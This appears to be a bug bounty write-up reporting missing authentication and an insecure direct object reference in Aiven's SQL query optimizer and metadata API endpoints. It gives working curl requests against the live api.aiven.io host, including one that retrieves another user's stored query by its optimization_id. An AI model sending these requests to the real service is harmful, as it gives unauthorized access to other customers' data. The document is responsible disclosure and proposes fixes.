SUBMISSION 3

TITLE: Unauthenticated SQL Query Optimizer Stores Queries Accessible to Any Authenticated User (IDOR)

TARGET: api.aiven.io (https://api.aiven.io/login)

VRT CATEGORY: Broken Access Control (BAC) > IDOR

URL: https://api.aiven.io/v1/pg/query/optimize

DESCRIPTION:

Summary

The Aiven SQL query optimizer endpoints (/v1/pg/query/optimize and /v1/mysql/query/optimize) accept and store SQL queries without any authentication. Stored queries are then retrievable by ANY authenticated user via /v1/pg/query/optimize-by-token using only the optimization_id UUID, with no ownership check. This is a two-part vulnerability: missing authentication on the storage endpoint, and broken access control (IDOR) on the retrieval endpoint.

Additionally, the database metadata query endpoints (/v1/pg/database-metadata-query, /v1/mysql/database-metadata-query) return internal SQL that Aiven executes against customer databases, without authentication.

Steps to Reproduce

Part 1: Unauthenticated Query Storage

Submit a SQL query without any auth token:

QUERY=$(echo -n "SELECT customer_name, credit_card_number, ssn FROM customers WHERE id = 12345" | base64)

curl -s -X POST https://api.aiven.io/v1/pg/query/optimize \
 -H "Content-Type: application/json" \
 -d '{"query":"'$QUERY'","pg_version":"16","flags":[]}'

Response (200 OK, no auth required):

{
 "optimize": {
 "optimization_id": "18836ead-06fb-4234-959a-eafb1f817a81",
 "original_query": "<base64 encoded query>",
 "optimized_query": "<base64 encoded query>",
 "recommendations": [...]
 }
}

The query is stored server-side. The do_not_store parameter defaults to false.

Part 2: Cross-User Query Retrieval (IDOR)

Using a different user’s auth token, retrieve the stored query by its optimization_id:

curl -s -X POST https://api.aiven.io/v1/pg/query/optimize-by-token \
 -H "Authorization: aivenv1 <ANY_VALID_TOKEN>" \
 -H "Content-Type: application/json" \
 -d '{"optimization_id":"18836ead-06fb-4234-959a-eafb1f817a81"}'

Response (200 OK): Returns the full stored query content, including the original_query which decodes to the sensitive SQL submitted by another user/session.

I confirmed this by: 1. Submitting queries without authentication (receiving optimization_ids) 2. Accessing those same optimization_ids with an authenticated session 3. The stored SQL content was returned successfully

Part 3: Internal Metadata Query Disclosure

curl -s https://api.aiven.io/v1/pg/database-metadata-query

Response (200 OK, no auth): Returns the complete SQL (~3KB) that Aiven runs against customer PostgreSQL databases to collect schema metadata, querying pg_catalog.pg_class, pg_catalog.pg_attribute, pg_proc, pg_index, pg_extension, and pg_stat_user_tables. The MySQL equivalent at /v1/mysql/database-metadata-query similarly returns internal metadata collection SQL.

Additional Unauthenticated Endpoints

Endpoint	Method	Auth	Function
/v1/pg/query/format	POST	None	Formats SQL queries
/v1/mysql/query/format	POST	None	Formats SQL queries
/v1/console/configuration	GET	None	Returns feature flags and pricing variables

The /v1/console/configuration endpoint returns:

{
 "feature_flags": ["orgVPCs", "kafkaTopicDataGenerator", "applicationComposer", ...],
 "variables": {
 "new_user_credits_limited_time_trial": "300.00",
 "referral_reward_max_amount": "100.00"
 }
}

Impact

1. Cross-user SQL query exposure: Queries submitted through the Aiven console’s query optimizer are stored and accessible to any authenticated user who knows the optimization_id. SQL queries contain table names, column names, WHERE clause values, and business logic that reveal the structure and nature of customer data.

2. Unauthenticated resource abuse: The optimizer infrastructure can be used without any account.

3. Internal methodology disclosure: The metadata collection SQL reveals how Aiven inspects customer databases, aiding attackers in understanding the platform’s internals.

Suggested Fix

1. Require authentication for all query optimizer and metadata endpoints.
2. Scope stored optimizations to the authenticated user, optimize-by-token should only return optimizations created by the requesting user.
3. Require authentication for /v1/console/configuration.

---

Source · github.com/zionsworking/security-research-notebook · writeups/aiven/sql-query-optimizer-idor.md